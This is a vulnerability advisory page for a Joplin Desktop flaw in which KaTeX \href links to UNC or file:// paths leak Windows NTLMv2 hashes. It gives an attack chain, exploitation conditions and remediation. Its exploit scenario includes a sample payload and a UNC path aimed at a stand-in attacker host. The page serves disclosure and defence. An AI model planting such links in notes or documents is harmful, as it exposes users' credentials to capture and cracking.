Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft note with KaTeX \href to UNC path
-
DeliveryDeliver note via share/sync/import
-
ExploitVictim opens note in Joplin on Windows
-
ExecutionVictim clicks crafted link
-
PersistpathExists() initiates SMB auth to attacker host
-
ImpactCapture NTLMv2 challenge-response for offline cracking
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the victim to run Joplin Desktop on Windows (the NTLMv2/SMB credential leak is Windows-specific), the attacker to deliver a note they authored containing a KaTeX \href/\url pointing at an attacker-controlled UNC/file:// path (via shared notebook, sync, or note import), and the victim to actively click the rendered link. Exploitation is limited by AC:H (attacker must control an SMB endpoint and rely on Windows auto-authenticating to the UNC path) and UI:R (an explicit victim click is needed); it does not work against non-Windows platforms and is fully remediated in Joplin 3.7.2 where KaTeX trust is restricted to http(s)/mailto/joplin://anchor schemes. |
| Impact | This is a genuinely low-priority issue whose signals are internally consistent. The vendor CVSS of 2.5 (AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) reflects a narrow information-disclosure flaw: only confidentiality is affected and only at Low, because the leaked artifact is an NTLMv2 challenge-response (an offline-crackable hash, not a plaintext credential). No EPSS score, CISA KEV entry, or public POC was provided, so the exploitation status is 'no public exploit identified at time of analysis.' The security-advisory-driven fix (GHSA-9m2r-pv96-jxr3, PR #15538) confirms the mechanism but not any observed exploitation. One notable tension: the vendor rates AV:L, yet the realistic attack is remote - a malicious note is delivered via Joplin sync/sharing/import and the NTLMv2 material is captured by a remote attacker-controlled SMB server, which argues for AV:N. I flag this as a vendor/analyst disagreement rather than treating AV:L as settled. The AC:H, UI:R, and Windows-only constraints keep real-world risk low regardless of the AV interpretation. |
| Exploit ScenarioDerived | An attacker crafts a Joplin note containing a KaTeX expression such as $\href{file://attacker.example.com/share/x.txt}{click}$, which bypasses Joplin's normal Markdown URL allowlist because KaTeX's trust option is enabled unconditionally. The victim, running Joplin on Windows, opens the shared/synced note and clicks the rendered link; pathExists() on the UNC target triggers outbound SMB authentication that discloses the victim's NTLMv2 challenge-response to the attacker's server for offline cracking or relay. No public exploit code is identified, though the fix commit includes a test harness demonstrating which schemes were previously accepted. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 21, 2026
Information disclosure in Joplin Desktop note rendering: from version 1.4.0 up to (but not including) 3.7.2, the KaTeX renderer runs with the 'trust' option enabled unconditionally, so a note author can embed a KaTeX \href or \url whose target bypasses Joplin's normal Markdown URL allowlist. On Windows, if a victim clicks such a link pointing at an attacker-controlled UNC or file:// path, the operating system attempts SMB authentication and leaks the user's NTLMv2 challenge-response to the attacker without any warning; the same technique can invoke other registered URL handlers (for example vscode:// or ms-msdt:). Exploitation requires a victim running Joplin Desktop on Windows, delivery of an attacker-authored note (shared notebook, sync, or import), and an explicit click on the rendered link, and it is fully fixed in 3.7.2 where KaTeX trust is restricted to http(s), mailto, joplin:// and internal anchor/id schemes; no public exploit code was identified at time of analysis and the issue is not confirmed actively exploited (CISA KEV).
RemediationAI
Upgrade Joplin to version 3.7.2 or later, which is the vendor-released patch and replaces the unconditional KaTeX trust flag with a scheme allowlist limited to http(s), mailto, joplin://, in-page anchors and internal note IDs; the change is tracked in vendor advisory GHSA-9m2r-pv96-jxr3, PR 15538 and commit b15472bc9654a72101b34b79c9436b3d450e2c10. If upgrading cannot be done immediately, block outbound SMB from user workstations at the egress firewall (TCP 445 and 139, plus UDP 137/138) so that any UNC or file:// click cannot reach an attacker-controlled SMB listener - the trade-off is loss of legitimate file-share access from those hosts. On Windows, harden NTLM by restricting outbound NTLM authentication via Group Policy ('Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers' and the related audit settings) and by disabling the WebClient/WebDAV service, accepting that this may break legacy intranet applications that depend on NTLM. Because exploitation requires a click on a link inside an attacker-supplied note, also reduce delivery surface by treating imported or synced notebooks from untrusted parties as hostile, previewing notes without clicking embedded links, and avoiding the importer for untrusted .jex or Markdown content until the upgrade is applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Joplin renders note math by handing TeX delimiters to KaTeX inside packages/renderer/MdToHtml/rules/katex.ts, and the code was setting katexOptions.trust = true. KaTeX's trust flag controls whether commands such as \href and \url may emit arbitrary HTML attributes; with trust enabled, the URL is written straight into the rendered anchor and never passes through Joplin's shared link sanitizer (htmlUtils.isAcceptedUrl), which normally filters Markdown links to approved schemes. The root cause is a sanitization gap rather than a memory-safety bug, classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Normally this bypass only permits opening other registered URL handlers on the victim's machine, but on Windows a file:// or UNC target such as \\attacker.example.com\share\x.txt causes the SMB client to automatically perform NTLM authentication to the attacker's host, disclosing the current user's NTLMv2 challenge-response - a credential that can be relayed or cracked offline. The assessed vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) reflects network-delivered content with high attack complexity (attacker must control an SMB endpoint and rely on Windows auto-authentication) and mandatory user interaction, producing only a confidentiality impact. The upstream fix replaces the boolean with isTrustedKatexContext, which whitelists https:, http:, mailto:, joplin://, in-page #anchors and internal :/32-character-id links and rejects file://, UNC, javascript: and handler schemes; the accompanying test in packages/app-cli/tests/MdToHtml.ts enumerates exactly these allowed and blocked cases.
Know when Joplin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
AV:N because the malicious note is delivered remotely and the NTLMv2 hash is captured by a remote SMB server; AC:H (Windows + UNC auto-auth) and UI:R (click); C:L only, as a crackable hash and not a plaintext secret leaks.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. From 1.4.0 until 3.7.2, packages/renderer/MdToHtml/rules/katex.ts enables KaTeX's trust option for note content, allowing a note author to place a \href URL into rendered output without passing Joplin's normal URL allowlist. On Windows, clicking a link whose target is an attacker-controlled UNC path causes pathExists() to initiate SMB authentication and disclose the current user's NTLMv2 challenge-response without a warning. The unfiltered URL can also invoke other registered URL handlers, but the credential disclosure through KaTeX \href is the distinguishing demonstrated impact. This issue is fixed in version 3.7.2.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into
Joplin is a free, open source note taking and to-do application. Rated critical severity (CVSS 9.6), this vulnerability
Joplin is a free, open source note taking and to-do application. Rated critical severity (CVSS 9.6), this vulnerability
Joplin v2.8.8 allows attackers to execute arbitrary commands via a crafted payload injected into the Node titles. Rated
Joplin Server instances prior to 3.7.2 expose an SSO login-code redemption endpoint (GET /api/login_with_code/:id) that
Joplin is an open source, privacy-focused note taking app with sync capabilities for Windows, macOS, Linux, Android and
Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link
Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into
Joplin 1.2.6 for Desktop allows XSS via a LINK element in a note. Rated medium severity (CVSS 6.1), this vulnerability i
An XSS issue in Joplin desktop 1.0.190 to 1.0.245 allows arbitrary code execution via a malicious HTML embed tag. Rated
Joplin version prior to 1.0.90 contains a XSS evolving into code execution due to enabled nodeIntegration for that parti
Joplin through 1.0.184 allows Arbitrary File Read via XSS. Rated medium severity (CVSS 5.4), this vulnerability is remot
EUVD-2026-84168
NVD
CVE.org
EPSS
GitHub
Exploit-DB